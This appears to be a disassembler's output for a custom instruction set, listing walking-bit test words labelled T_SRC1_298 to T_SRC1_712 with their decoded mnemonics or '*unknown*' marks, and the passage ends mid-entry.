000315a4 <T_SRC1_298>:
315a4: 00 00 04 00 *unknown*
000315a8 <T_SRC1_299>:
315a8: 00 00 08 00 *unknown*
000315ac <T_SRC1_300>:
315ac: 00 00 10 00 *unknown*
000315b0 <T_SRC1_301>:
315b0: 00 00 20 00 *unknown*
000315b4 <T_SRC1_302>:
315b4: 00 00 40 00 *unknown*
000315b8 <T_SRC1_303>:
315b8: 00 00 80 00 *unknown*
000315bc <T_SRC1_304>:
315bc: 00 01 00 00 *unknown*
000315c0 <T_SRC1_305>:
315c0: 00 02 00 00 *unknown*
000315c4 <T_SRC1_306>:
315c4: 00 04 00 00 *unknown*
000315c8 <T_SRC1_307>:
315c8: 00 08 00 00 *unknown*
000315cc <T_SRC1_308>:
315cc: 00 10 00 00 add r0,0
000315d0 <T_SRC1_309>:
315d0: 00 20 00 00 sub r0,r0
000315d4 <T_SRC1_310>:
315d4: 00 40 00 00 mull r0,r0
000315d8 <T_SRC1_311>:
315d8: 00 80 00 00 udiv r0,r0
000315dc <T_SRC1_312>:
315dc: 01 00 00 00 mod r0,r0
000315e0 <T_SRC1_313>:
315e0: 02 00 00 00 inc r0,r0
000315e4 <T_SRC1_314>:
315e4: 04 00 00 00 *unknown*
000315e8 <T_SRC1_315>:
315e8: 08 00 00 00 shl r0,r0
000315ec <T_SRC1_316>:
315ec: 10 00 00 00 ld8 r0,r0
000315f0 <T_SRC1_317>:
315f0: 20 00 00 00 nop
000315f4 <T_SRC1_318>:
315f4: 40 00 00 00 *unknown*
000315f8 <T_SRC1_319>:
315f8: 80 00 00 00 *unknown*
000315fc <T_SRC1_320>:
315fc: 00 00 00 01 add r0,r1
00031600 <T_SRC1_321>:
31600: 00 00 00 02 add r0,r2
00031604 <T_SRC1_322>:
31604: 00 00 00 04 add r0,r4
00031608 <T_SRC1_323>:
31608: 00 00 00 08 add r0,r8
0003160c <T_SRC1_324>:
3160c: 00 00 00 10 add r0,r16
00031610 <T_SRC1_325>:
31610: 00 00 00 20 add r1,r0
00031614 <T_SRC1_326>:
31614: 00 00 00 40 add r2,r0
00031618 <T_SRC1_327>:
31618: 00 00 00 80 add r4,r0
0003161c <T_SRC1_328>:
3161c: 00 00 01 00 add r8,r0
00031620 <T_SRC1_329>:
31620: 00 00 02 00 add r16,r0
00031624 <T_SRC1_330>:
31624: 00 00 04 00 *unknown*
00031628 <T_SRC1_331>:
31628: 00 00 08 00 *unknown*
0003162c <T_SRC1_332>:
3162c: 00 00 10 00 *unknown*
00031630 <T_SRC1_333>:
31630: 00 00 20 00 *unknown*
00031634 <T_SRC1_334>:
31634: 00 00 40 00 *unknown*
00031638 <T_SRC1_335>:
31638: 00 00 80 00 *unknown*
0003163c <T_SRC1_336>:
3163c: 00 01 00 00 *unknown*
00031640 <T_SRC1_337>:
31640: 00 02 00 00 *unknown*
00031644 <T_SRC1_338>:
31644: 00 04 00 00 *unknown*
00031648 <T_SRC1_339>:
31648: 00 08 00 00 *unknown*
0003164c <T_SRC1_340>:
3164c: 00 10 00 00 add r0,0
00031650 <T_SRC1_341>:
31650: 00 20 00 00 sub r0,r0
00031654 <T_SRC1_342>:
31654: 00 40 00 00 mull r0,r0
00031658 <T_SRC1_343>:
31658: 00 80 00 00 udiv r0,r0
0003165c <T_SRC1_344>:
3165c: 01 00 00 00 mod r0,r0
00031660 <T_SRC1_345>:
31660: 02 00 00 00 inc r0,r0
00031664 <T_SRC1_346>:
31664: 04 00 00 00 *unknown*
00031668 <T_SRC1_347>:
31668: 08 00 00 00 shl r0,r0
0003166c <T_SRC1_348>:
3166c: 10 00 00 00 ld8 r0,r0
00031670 <T_SRC1_349>:
31670: 20 00 00 00 nop
00031674 <T_SRC1_350>:
31674: 40 00 00 00 *unknown*
00031678 <T_SRC1_351>:
31678: 80 00 00 00 *unknown*
0003167c <T_SRC1_352>:
3167c: 00 00 00 01 add r0,r1
00031680 <T_SRC1_353>:
31680: 00 00 00 02 add r0,r2
00031684 <T_SRC1_354>:
31684: 00 00 00 04 add r0,r4
00031688 <T_SRC1_355>:
31688: 00 00 00 08 add r0,r8
0003168c <T_SRC1_356>:
3168c: 00 00 00 10 add r0,r16
00031690 <T_SRC1_357>:
31690: 00 00 00 20 add r1,r0
00031694 <T_SRC1_358>:
31694: 00 00 00 40 add r2,r0
00031698 <T_SRC1_359>:
31698: 00 00 00 80 add r4,r0
0003169c <T_SRC1_360>:
3169c: 00 00 01 00 add r8,r0
000316a0 <T_SRC1_361>:
316a0: 00 00 02 00 add r16,r0
000316a4 <T_SRC1_362>:
316a4: 00 00 04 00 *unknown*
000316a8 <T_SRC1_363>:
316a8: 00 00 08 00 *unknown*
000316ac <T_SRC1_364>:
316ac: 00 00 10 00 *unknown*
000316b0 <T_SRC1_365>:
316b0: 00 00 20 00 *unknown*
000316b4 <T_SRC1_366>:
316b4: 00 00 40 00 *unknown*
000316b8 <T_SRC1_367>:
316b8: 00 00 80 00 *unknown*
000316bc <T_SRC1_368>:
316bc: 00 01 00 00 *unknown*
000316c0 <T_SRC1_369>:
316c0: 00 02 00 00 *unknown*
000316c4 <T_SRC1_370>:
316c4: 00 04 00 00 *unknown*
000316c8 <T_SRC1_371>:
316c8: 00 08 00 00 *unknown*
000316cc <T_SRC1_372>:
316cc: 00 10 00 00 add r0,0
000316d0 <T_SRC1_373>:
316d0: 00 20 00 00 sub r0,r0
000316d4 <T_SRC1_374>:
316d4: 00 40 00 00 mull r0,r0
000316d8 <T_SRC1_375>:
316d8: 00 80 00 00 udiv r0,r0
000316dc <T_SRC1_376>:
316dc: 01 00 00 00 mod r0,r0
000316e0 <T_SRC1_377>:
316e0: 02 00 00 00 inc r0,r0
000316e4 <T_SRC1_378>:
316e4: 04 00 00 00 *unknown*
000316e8 <T_SRC1_379>:
316e8: 08 00 00 00 shl r0,r0
000316ec <T_SRC1_380>:
316ec: 10 00 00 00 ld8 r0,r0
000316f0 <T_SRC1_381>:
316f0: 20 00 00 00 nop
000316f4 <T_SRC1_382>:
316f4: 40 00 00 00 *unknown*
000316f8 <T_SRC1_383>:
316f8: 80 00 00 00 *unknown*
000316fc <T_SRC1_384>:
316fc: 00 00 00 01 add r0,r1
00031700 <T_SRC1_385>:
31700: 00 00 00 02 add r0,r2
00031704 <T_SRC1_386>:
31704: 00 00 00 04 add r0,r4
00031708 <T_SRC1_387>:
31708: 00 00 00 08 add r0,r8
0003170c <T_SRC1_388>:
3170c: 00 00 00 10 add r0,r16
00031710 <T_SRC1_389>:
31710: 00 00 00 20 add r1,r0
00031714 <T_SRC1_390>:
31714: 00 00 00 40 add r2,r0
00031718 <T_SRC1_391>:
31718: 00 00 00 80 add r4,r0
0003171c <T_SRC1_392>:
3171c: 00 00 01 00 add r8,r0
00031720 <T_SRC1_393>:
31720: 00 00 02 00 add r16,r0
00031724 <T_SRC1_394>:
31724: 00 00 04 00 *unknown*
00031728 <T_SRC1_395>:
31728: 00 00 08 00 *unknown*
0003172c <T_SRC1_396>:
3172c: 00 00 10 00 *unknown*
00031730 <T_SRC1_397>:
31730: 00 00 20 00 *unknown*
00031734 <T_SRC1_398>:
31734: 00 00 40 00 *unknown*
00031738 <T_SRC1_399>:
31738: 00 00 80 00 *unknown*
0003173c <T_SRC1_400>:
3173c: 00 01 00 00 *unknown*
00031740 <T_SRC1_401>:
31740: 00 02 00 00 *unknown*
00031744 <T_SRC1_402>:
31744: 00 04 00 00 *unknown*
00031748 <T_SRC1_403>:
31748: 00 08 00 00 *unknown*
0003174c <T_SRC1_404>:
3174c: 00 10 00 00 add r0,0
00031750 <T_SRC1_405>:
31750: 00 20 00 00 sub r0,r0
00031754 <T_SRC1_406>:
31754: 00 40 00 00 mull r0,r0
00031758 <T_SRC1_407>:
31758: 00 80 00 00 udiv r0,r0
0003175c <T_SRC1_408>:
3175c: 01 00 00 00 mod r0,r0
00031760 <T_SRC1_409>:
31760: 02 00 00 00 inc r0,r0
00031764 <T_SRC1_410>:
31764: 04 00 00 00 *unknown*
00031768 <T_SRC1_411>:
31768: 08 00 00 00 shl r0,r0
0003176c <T_SRC1_412>:
3176c: 10 00 00 00 ld8 r0,r0
00031770 <T_SRC1_413>:
31770: 20 00 00 00 nop
00031774 <T_SRC1_414>:
31774: 40 00 00 00 *unknown*
00031778 <T_SRC1_415>:
31778: 80 00 00 00 *unknown*
0003177c <T_SRC1_416>:
3177c: 00 00 00 01 add r0,r1
00031780 <T_SRC1_417>:
31780: 00 00 00 02 add r0,r2
00031784 <T_SRC1_418>:
31784: 00 00 00 04 add r0,r4
00031788 <T_SRC1_419>:
31788: 00 00 00 08 add r0,r8
0003178c <T_SRC1_420>:
3178c: 00 00 00 10 add r0,r16
00031790 <T_SRC1_421>:
31790: 00 00 00 20 add r1,r0
00031794 <T_SRC1_422>:
31794: 00 00 00 40 add r2,r0
00031798 <T_SRC1_423>:
31798: 00 00 00 80 add r4,r0
0003179c <T_SRC1_424>:
3179c: 00 00 01 00 add r8,r0
000317a0 <T_SRC1_425>:
317a0: 00 00 02 00 add r16,r0
000317a4 <T_SRC1_426>:
317a4: 00 00 04 00 *unknown*
000317a8 <T_SRC1_427>:
317a8: 00 00 08 00 *unknown*
000317ac <T_SRC1_428>:
317ac: 00 00 10 00 *unknown*
000317b0 <T_SRC1_429>:
317b0: 00 00 20 00 *unknown*
000317b4 <T_SRC1_430>:
317b4: 00 00 40 00 *unknown*
000317b8 <T_SRC1_431>:
317b8: 00 00 80 00 *unknown*
000317bc <T_SRC1_432>:
317bc: 00 01 00 00 *unknown*
000317c0 <T_SRC1_433>:
317c0: 00 02 00 00 *unknown*
000317c4 <T_SRC1_434>:
317c4: 00 04 00 00 *unknown*
000317c8 <T_SRC1_435>:
317c8: 00 08 00 00 *unknown*
000317cc <T_SRC1_436>:
317cc: 00 10 00 00 add r0,0
000317d0 <T_SRC1_437>:
317d0: 00 20 00 00 sub r0,r0
000317d4 <T_SRC1_438>:
317d4: 00 40 00 00 mull r0,r0
000317d8 <T_SRC1_439>:
317d8: 00 80 00 00 udiv r0,r0
000317dc <T_SRC1_440>:
317dc: 01 00 00 00 mod r0,r0
000317e0 <T_SRC1_441>:
317e0: 02 00 00 00 inc r0,r0
000317e4 <T_SRC1_442>:
317e4: 04 00 00 00 *unknown*
000317e8 <T_SRC1_443>:
317e8: 08 00 00 00 shl r0,r0
000317ec <T_SRC1_444>:
317ec: 10 00 00 00 ld8 r0,r0
000317f0 <T_SRC1_445>:
317f0: 20 00 00 00 nop
000317f4 <T_SRC1_446>:
317f4: 40 00 00 00 *unknown*
000317f8 <T_SRC1_447>:
317f8: 80 00 00 00 *unknown*
000317fc <T_SRC1_448>:
317fc: 00 00 00 01 add r0,r1
00031800 <T_SRC1_449>:
31800: 00 00 00 02 add r0,r2
00031804 <T_SRC1_450>:
31804: 00 00 00 04 add r0,r4
00031808 <T_SRC1_451>:
31808: 00 00 00 08 add r0,r8
0003180c <T_SRC1_452>:
3180c: 00 00 00 10 add r0,r16
00031810 <T_SRC1_453>:
31810: 00 00 00 20 add r1,r0
00031814 <T_SRC1_454>:
31814: 00 00 00 40 add r2,r0
00031818 <T_SRC1_455>:
31818: 00 00 00 80 add r4,r0
0003181c <T_SRC1_456>:
3181c: 00 00 01 00 add r8,r0
00031820 <T_SRC1_457>:
31820: 00 00 02 00 add r16,r0
00031824 <T_SRC1_458>:
31824: 00 00 04 00 *unknown*
00031828 <T_SRC1_459>:
31828: 00 00 08 00 *unknown*
0003182c <T_SRC1_460>:
3182c: 00 00 10 00 *unknown*
00031830 <T_SRC1_461>:
31830: 00 00 20 00 *unknown*
00031834 <T_SRC1_462>:
31834: 00 00 40 00 *unknown*
00031838 <T_SRC1_463>:
31838: 00 00 80 00 *unknown*
0003183c <T_SRC1_464>:
3183c: 00 01 00 00 *unknown*
00031840 <T_SRC1_465>:
31840: 00 02 00 00 *unknown*
00031844 <T_SRC1_466>:
31844: 00 04 00 00 *unknown*
00031848 <T_SRC1_467>:
31848: 00 08 00 00 *unknown*
0003184c <T_SRC1_468>:
3184c: 00 10 00 00 add r0,0
00031850 <T_SRC1_469>:
31850: 00 20 00 00 sub r0,r0
00031854 <T_SRC1_470>:
31854: 00 40 00 00 mull r0,r0
00031858 <T_SRC1_471>:
31858: 00 80 00 00 udiv r0,r0
0003185c <T_SRC1_472>:
3185c: 01 00 00 00 mod r0,r0
00031860 <T_SRC1_473>:
31860: 02 00 00 00 inc r0,r0
00031864 <T_SRC1_474>:
31864: 04 00 00 00 *unknown*
00031868 <T_SRC1_475>:
31868: 08 00 00 00 shl r0,r0
0003186c <T_SRC1_476>:
3186c: 10 00 00 00 ld8 r0,r0
00031870 <T_SRC1_477>:
31870: 20 00 00 00 nop
00031874 <T_SRC1_478>:
31874: 40 00 00 00 *unknown*
00031878 <T_SRC1_479>:
31878: 80 00 00 00 *unknown*
0003187c <T_SRC1_480>:
3187c: 00 00 00 01 add r0,r1
00031880 <T_SRC1_481>:
31880: 00 00 00 02 add r0,r2
00031884 <T_SRC1_482>:
31884: 00 00 00 04 add r0,r4
00031888 <T_SRC1_483>:
31888: 00 00 00 08 add r0,r8
0003188c <T_SRC1_484>:
3188c: 00 00 00 10 add r0,r16
00031890 <T_SRC1_485>:
31890: 00 00 00 20 add r1,r0
00031894 <T_SRC1_486>:
31894: 00 00 00 40 add r2,r0
00031898 <T_SRC1_487>:
31898: 00 00 00 80 add r4,r0
0003189c <T_SRC1_488>:
3189c: 00 00 01 00 add r8,r0
000318a0 <T_SRC1_489>:
318a0: 00 00 02 00 add r16,r0
000318a4 <T_SRC1_490>:
318a4: 00 00 04 00 *unknown*
000318a8 <T_SRC1_491>:
318a8: 00 00 08 00 *unknown*
000318ac <T_SRC1_492>:
318ac: 00 00 10 00 *unknown*
000318b0 <T_SRC1_493>:
318b0: 00 00 20 00 *unknown*
000318b4 <T_SRC1_494>:
318b4: 00 00 40 00 *unknown*
000318b8 <T_SRC1_495>:
318b8: 00 00 80 00 *unknown*
000318bc <T_SRC1_496>:
318bc: 00 01 00 00 *unknown*
000318c0 <T_SRC1_497>:
318c0: 00 02 00 00 *unknown*
000318c4 <T_SRC1_498>:
318c4: 00 04 00 00 *unknown*
000318c8 <T_SRC1_499>:
318c8: 00 08 00 00 *unknown*
000318cc <T_SRC1_500>:
318cc: 00 10 00 00 add r0,0
000318d0 <T_SRC1_501>:
318d0: 00 20 00 00 sub r0,r0
000318d4 <T_SRC1_502>:
318d4: 00 40 00 00 mull r0,r0
000318d8 <T_SRC1_503>:
318d8: 00 80 00 00 udiv r0,r0
000318dc <T_SRC1_504>:
318dc: 01 00 00 00 mod r0,r0
000318e0 <T_SRC1_505>:
318e0: 02 00 00 00 inc r0,r0
000318e4 <T_SRC1_506>:
318e4: 04 00 00 00 *unknown*
000318e8 <T_SRC1_507>:
318e8: 08 00 00 00 shl r0,r0
000318ec <T_SRC1_508>:
318ec: 10 00 00 00 ld8 r0,r0
000318f0 <T_SRC1_509>:
318f0: 20 00 00 00 nop
000318f4 <T_SRC1_510>:
318f4: 40 00 00 00 *unknown*
000318f8 <T_SRC1_511>:
318f8: 80 00 00 00 *unknown*
000318fc <T_SRC1_512>:
318fc: 00 00 00 01 add r0,r1
00031900 <T_SRC1_513>:
31900: 00 00 00 02 add r0,r2
00031904 <T_SRC1_514>:
31904: 00 00 00 04 add r0,r4
00031908 <T_SRC1_515>:
31908: 00 00 00 08 add r0,r8
0003190c <T_SRC1_516>:
3190c: 00 00 00 10 add r0,r16
00031910 <T_SRC1_517>:
31910: 00 00 00 20 add r1,r0
00031914 <T_SRC1_518>:
31914: 00 00 00 40 add r2,r0
00031918 <T_SRC1_519>:
31918: 00 00 00 80 add r4,r0
0003191c <T_SRC1_520>:
3191c: 00 00 01 00 add r8,r0
00031920 <T_SRC1_521>:
31920: 00 00 02 00 add r16,r0
00031924 <T_SRC1_522>:
31924: 00 00 04 00 *unknown*
00031928 <T_SRC1_523>:
31928: 00 00 08 00 *unknown*
0003192c <T_SRC1_524>:
3192c: 00 00 10 00 *unknown*
00031930 <T_SRC1_525>:
31930: 00 00 20 00 *unknown*
00031934 <T_SRC1_526>:
31934: 00 00 40 00 *unknown*
00031938 <T_SRC1_527>:
31938: 00 00 80 00 *unknown*
0003193c <T_SRC1_528>:
3193c: 00 01 00 00 *unknown*
00031940 <T_SRC1_529>:
31940: 00 02 00 00 *unknown*
00031944 <T_SRC1_530>:
31944: 00 04 00 00 *unknown*
00031948 <T_SRC1_531>:
31948: 00 08 00 00 *unknown*
0003194c <T_SRC1_532>:
3194c: 00 10 00 00 add r0,0
00031950 <T_SRC1_533>:
31950: 00 20 00 00 sub r0,r0
00031954 <T_SRC1_534>:
31954: 00 40 00 00 mull r0,r0
00031958 <T_SRC1_535>:
31958: 00 80 00 00 udiv r0,r0
0003195c <T_SRC1_536>:
3195c: 01 00 00 00 mod r0,r0
00031960 <T_SRC1_537>:
31960: 02 00 00 00 inc r0,r0
00031964 <T_SRC1_538>:
31964: 04 00 00 00 *unknown*
00031968 <T_SRC1_539>:
31968: 08 00 00 00 shl r0,r0
0003196c <T_SRC1_540>:
3196c: 10 00 00 00 ld8 r0,r0
00031970 <T_SRC1_541>:
31970: 20 00 00 00 nop
00031974 <T_SRC1_542>:
31974: 40 00 00 00 *unknown*
00031978 <T_SRC1_543>:
31978: 80 00 00 00 *unknown*
0003197c <T_SRC1_544>:
3197c: 00 00 00 01 add r0,r1
00031980 <T_SRC1_545>:
31980: 00 00 00 02 add r0,r2
00031984 <T_SRC1_546>:
31984: 00 00 00 04 add r0,r4
00031988 <T_SRC1_547>:
31988: 00 00 00 08 add r0,r8
0003198c <T_SRC1_548>:
3198c: 00 00 00 10 add r0,r16
00031990 <T_SRC1_549>:
31990: 00 00 00 20 add r1,r0
00031994 <T_SRC1_550>:
31994: 00 00 00 40 add r2,r0
00031998 <T_SRC1_551>:
31998: 00 00 00 80 add r4,r0
0003199c <T_SRC1_552>:
3199c: 00 00 01 00 add r8,r0
000319a0 <T_SRC1_553>:
319a0: 00 00 02 00 add r16,r0
000319a4 <T_SRC1_554>:
319a4: 00 00 04 00 *unknown*
000319a8 <T_SRC1_555>:
319a8: 00 00 08 00 *unknown*
000319ac <T_SRC1_556>:
319ac: 00 00 10 00 *unknown*
000319b0 <T_SRC1_557>:
319b0: 00 00 20 00 *unknown*
000319b4 <T_SRC1_558>:
319b4: 00 00 40 00 *unknown*
000319b8 <T_SRC1_559>:
319b8: 00 00 80 00 *unknown*
000319bc <T_SRC1_560>:
319bc: 00 01 00 00 *unknown*
000319c0 <T_SRC1_561>:
319c0: 00 02 00 00 *unknown*
000319c4 <T_SRC1_562>:
319c4: 00 04 00 00 *unknown*
000319c8 <T_SRC1_563>:
319c8: 00 08 00 00 *unknown*
000319cc <T_SRC1_564>:
319cc: 00 10 00 00 add r0,0
000319d0 <T_SRC1_565>:
319d0: 00 20 00 00 sub r0,r0
000319d4 <T_SRC1_566>:
319d4: 00 40 00 00 mull r0,r0
000319d8 <T_SRC1_567>:
319d8: 00 80 00 00 udiv r0,r0
000319dc <T_SRC1_568>:
319dc: 01 00 00 00 mod r0,r0
000319e0 <T_SRC1_569>:
319e0: 02 00 00 00 inc r0,r0
000319e4 <T_SRC1_570>:
319e4: 04 00 00 00 *unknown*
000319e8 <T_SRC1_571>:
319e8: 08 00 00 00 shl r0,r0
000319ec <T_SRC1_572>:
319ec: 10 00 00 00 ld8 r0,r0
000319f0 <T_SRC1_573>:
319f0: 20 00 00 00 nop
000319f4 <T_SRC1_574>:
319f4: 40 00 00 00 *unknown*
000319f8 <T_SRC1_575>:
319f8: 80 00 00 00 *unknown*
000319fc <T_SRC1_576>:
319fc: 00 00 00 01 add r0,r1
00031a00 <T_SRC1_577>:
31a00: 00 00 00 02 add r0,r2
00031a04 <T_SRC1_578>:
31a04: 00 00 00 04 add r0,r4
00031a08 <T_SRC1_579>:
31a08: 00 00 00 08 add r0,r8
00031a0c <T_SRC1_580>:
31a0c: 00 00 00 10 add r0,r16
00031a10 <T_SRC1_581>:
31a10: 00 00 00 20 add r1,r0
00031a14 <T_SRC1_582>:
31a14: 00 00 00 40 add r2,r0
00031a18 <T_SRC1_583>:
31a18: 00 00 00 80 add r4,r0
00031a1c <T_SRC1_584>:
31a1c: 00 00 01 00 add r8,r0
00031a20 <T_SRC1_585>:
31a20: 00 00 02 00 add r16,r0
00031a24 <T_SRC1_586>:
31a24: 00 00 04 00 *unknown*
00031a28 <T_SRC1_587>:
31a28: 00 00 08 00 *unknown*
00031a2c <T_SRC1_588>:
31a2c: 00 00 10 00 *unknown*
00031a30 <T_SRC1_589>:
31a30: 00 00 20 00 *unknown*
00031a34 <T_SRC1_590>:
31a34: 00 00 40 00 *unknown*
00031a38 <T_SRC1_591>:
31a38: 00 00 80 00 *unknown*
00031a3c <T_SRC1_592>:
31a3c: 00 01 00 00 *unknown*
00031a40 <T_SRC1_593>:
31a40: 00 02 00 00 *unknown*
00031a44 <T_SRC1_594>:
31a44: 00 04 00 00 *unknown*
00031a48 <T_SRC1_595>:
31a48: 00 08 00 00 *unknown*
00031a4c <T_SRC1_596>:
31a4c: 00 10 00 00 add r0,0
00031a50 <T_SRC1_597>:
31a50: 00 20 00 00 sub r0,r0
00031a54 <T_SRC1_598>:
31a54: 00 40 00 00 mull r0,r0
00031a58 <T_SRC1_599>:
31a58: 00 80 00 00 udiv r0,r0
00031a5c <T_SRC1_600>:
31a5c: 01 00 00 00 mod r0,r0
00031a60 <T_SRC1_601>:
31a60: 02 00 00 00 inc r0,r0
00031a64 <T_SRC1_602>:
31a64: 04 00 00 00 *unknown*
00031a68 <T_SRC1_603>:
31a68: 08 00 00 00 shl r0,r0
00031a6c <T_SRC1_604>:
31a6c: 10 00 00 00 ld8 r0,r0
00031a70 <T_SRC1_605>:
31a70: 20 00 00 00 nop
00031a74 <T_SRC1_606>:
31a74: 40 00 00 00 *unknown*
00031a78 <T_SRC1_607>:
31a78: 80 00 00 00 *unknown*
00031a7c <T_SRC1_608>:
31a7c: 00 00 00 01 add r0,r1
00031a80 <T_SRC1_609>:
31a80: 00 00 00 02 add r0,r2
00031a84 <T_SRC1_610>:
31a84: 00 00 00 04 add r0,r4
00031a88 <T_SRC1_611>:
31a88: 00 00 00 08 add r0,r8
00031a8c <T_SRC1_612>:
31a8c: 00 00 00 10 add r0,r16
00031a90 <T_SRC1_613>:
31a90: 00 00 00 20 add r1,r0
00031a94 <T_SRC1_614>:
31a94: 00 00 00 40 add r2,r0
00031a98 <T_SRC1_615>:
31a98: 00 00 00 80 add r4,r0
00031a9c <T_SRC1_616>:
31a9c: 00 00 01 00 add r8,r0
00031aa0 <T_SRC1_617>:
31aa0: 00 00 02 00 add r16,r0
00031aa4 <T_SRC1_618>:
31aa4: 00 00 04 00 *unknown*
00031aa8 <T_SRC1_619>:
31aa8: 00 00 08 00 *unknown*
00031aac <T_SRC1_620>:
31aac: 00 00 10 00 *unknown*
00031ab0 <T_SRC1_621>:
31ab0: 00 00 20 00 *unknown*
00031ab4 <T_SRC1_622>:
31ab4: 00 00 40 00 *unknown*
00031ab8 <T_SRC1_623>:
31ab8: 00 00 80 00 *unknown*
00031abc <T_SRC1_624>:
31abc: 00 01 00 00 *unknown*
00031ac0 <T_SRC1_625>:
31ac0: 00 02 00 00 *unknown*
00031ac4 <T_SRC1_626>:
31ac4: 00 04 00 00 *unknown*
00031ac8 <T_SRC1_627>:
31ac8: 00 08 00 00 *unknown*
00031acc <T_SRC1_628>:
31acc: 00 10 00 00 add r0,0
00031ad0 <T_SRC1_629>:
31ad0: 00 20 00 00 sub r0,r0
00031ad4 <T_SRC1_630>:
31ad4: 00 40 00 00 mull r0,r0
00031ad8 <T_SRC1_631>:
31ad8: 00 80 00 00 udiv r0,r0
00031adc <T_SRC1_632>:
31adc: 01 00 00 00 mod r0,r0
00031ae0 <T_SRC1_633>:
31ae0: 02 00 00 00 inc r0,r0
00031ae4 <T_SRC1_634>:
31ae4: 04 00 00 00 *unknown*
00031ae8 <T_SRC1_635>:
31ae8: 08 00 00 00 shl r0,r0
00031aec <T_SRC1_636>:
31aec: 10 00 00 00 ld8 r0,r0
00031af0 <T_SRC1_637>:
31af0: 20 00 00 00 nop
00031af4 <T_SRC1_638>:
31af4: 40 00 00 00 *unknown*
00031af8 <T_SRC1_639>:
31af8: 80 00 00 00 *unknown*
00031afc <T_SRC1_640>:
31afc: 00 00 00 01 add r0,r1
00031b00 <T_SRC1_641>:
31b00: 00 00 00 02 add r0,r2
00031b04 <T_SRC1_642>:
31b04: 00 00 00 04 add r0,r4
00031b08 <T_SRC1_643>:
31b08: 00 00 00 08 add r0,r8
00031b0c <T_SRC1_644>:
31b0c: 00 00 00 10 add r0,r16
00031b10 <T_SRC1_645>:
31b10: 00 00 00 20 add r1,r0
00031b14 <T_SRC1_646>:
31b14: 00 00 00 40 add r2,r0
00031b18 <T_SRC1_647>:
31b18: 00 00 00 80 add r4,r0
00031b1c <T_SRC1_648>:
31b1c: 00 00 01 00 add r8,r0
00031b20 <T_SRC1_649>:
31b20: 00 00 02 00 add r16,r0
00031b24 <T_SRC1_650>:
31b24: 00 00 04 00 *unknown*
00031b28 <T_SRC1_651>:
31b28: 00 00 08 00 *unknown*
00031b2c <T_SRC1_652>:
31b2c: 00 00 10 00 *unknown*
00031b30 <T_SRC1_653>:
31b30: 00 00 20 00 *unknown*
00031b34 <T_SRC1_654>:
31b34: 00 00 40 00 *unknown*
00031b38 <T_SRC1_655>:
31b38: 00 00 80 00 *unknown*
00031b3c <T_SRC1_656>:
31b3c: 00 01 00 00 *unknown*
00031b40 <T_SRC1_657>:
31b40: 00 02 00 00 *unknown*
00031b44 <T_SRC1_658>:
31b44: 00 04 00 00 *unknown*
00031b48 <T_SRC1_659>:
31b48: 00 08 00 00 *unknown*
00031b4c <T_SRC1_660>:
31b4c: 00 10 00 00 add r0,0
00031b50 <T_SRC1_661>:
31b50: 00 20 00 00 sub r0,r0
00031b54 <T_SRC1_662>:
31b54: 00 40 00 00 mull r0,r0
00031b58 <T_SRC1_663>:
31b58: 00 80 00 00 udiv r0,r0
00031b5c <T_SRC1_664>:
31b5c: 01 00 00 00 mod r0,r0
00031b60 <T_SRC1_665>:
31b60: 02 00 00 00 inc r0,r0
00031b64 <T_SRC1_666>:
31b64: 04 00 00 00 *unknown*
00031b68 <T_SRC1_667>:
31b68: 08 00 00 00 shl r0,r0
00031b6c <T_SRC1_668>:
31b6c: 10 00 00 00 ld8 r0,r0
00031b70 <T_SRC1_669>:
31b70: 20 00 00 00 nop
00031b74 <T_SRC1_670>:
31b74: 40 00 00 00 *unknown*
00031b78 <T_SRC1_671>:
31b78: 80 00 00 00 *unknown*
00031b7c <T_SRC1_672>:
31b7c: 00 00 00 01 add r0,r1
00031b80 <T_SRC1_673>:
31b80: 00 00 00 02 add r0,r2
00031b84 <T_SRC1_674>:
31b84: 00 00 00 04 add r0,r4
00031b88 <T_SRC1_675>:
31b88: 00 00 00 08 add r0,r8
00031b8c <T_SRC1_676>:
31b8c: 00 00 00 10 add r0,r16
00031b90 <T_SRC1_677>:
31b90: 00 00 00 20 add r1,r0
00031b94 <T_SRC1_678>:
31b94: 00 00 00 40 add r2,r0
00031b98 <T_SRC1_679>:
31b98: 00 00 00 80 add r4,r0
00031b9c <T_SRC1_680>:
31b9c: 00 00 01 00 add r8,r0
00031ba0 <T_SRC1_681>:
31ba0: 00 00 02 00 add r16,r0
00031ba4 <T_SRC1_682>:
31ba4: 00 00 04 00 *unknown*
00031ba8 <T_SRC1_683>:
31ba8: 00 00 08 00 *unknown*
00031bac <T_SRC1_684>:
31bac: 00 00 10 00 *unknown*
00031bb0 <T_SRC1_685>:
31bb0: 00 00 20 00 *unknown*
00031bb4 <T_SRC1_686>:
31bb4: 00 00 40 00 *unknown*
00031bb8 <T_SRC1_687>:
31bb8: 00 00 80 00 *unknown*
00031bbc <T_SRC1_688>:
31bbc: 00 01 00 00 *unknown*
00031bc0 <T_SRC1_689>:
31bc0: 00 02 00 00 *unknown*
00031bc4 <T_SRC1_690>:
31bc4: 00 04 00 00 *unknown*
00031bc8 <T_SRC1_691>:
31bc8: 00 08 00 00 *unknown*
00031bcc <T_SRC1_692>:
31bcc: 00 10 00 00 add r0,0
00031bd0 <T_SRC1_693>:
31bd0: 00 20 00 00 sub r0,r0
00031bd4 <T_SRC1_694>:
31bd4: 00 40 00 00 mull r0,r0
00031bd8 <T_SRC1_695>:
31bd8: 00 80 00 00 udiv r0,r0
00031bdc <T_SRC1_696>:
31bdc: 01 00 00 00 mod r0,r0
00031be0 <T_SRC1_697>:
31be0: 02 00 00 00 inc r0,r0
00031be4 <T_SRC1_698>:
31be4: 04 00 00 00 *unknown*
00031be8 <T_SRC1_699>:
31be8: 08 00 00 00 shl r0,r0
00031bec <T_SRC1_700>:
31bec: 10 00 00 00 ld8 r0,r0
00031bf0 <T_SRC1_701>:
31bf0: 20 00 00 00 nop
00031bf4 <T_SRC1_702>:
31bf4: 40 00 00 00 *unknown*
00031bf8 <T_SRC1_703>:
31bf8: 80 00 00 00 *unknown*
00031bfc <T_SRC1_704>:
31bfc: 00 00 00 01 add r0,r1
00031c00 <T_SRC1_705>:
31c00: 00 00 00 02 add r0,r2
00031c04 <T_SRC1_706>:
31c04: 00 00 00 04 add r0,r4
00031c08 <T_SRC1_707>:
31c08: 00 00 00 08 add r0,r8
00031c0c <T_SRC1_708>:
31c0c: 00 00 00 10 add r0,r16
00031c10 <T_SRC1_709>:
31c10: 00 00 00 20 add r1,r0
00031c14 <T_SRC1_710>:
31c14: 00 00 00 40 add r2,r0
00031c18 <T_SRC1_711>:
31c18: 00 00 00 80 add r4,r0
00031c1c <T_SRC1_712>:
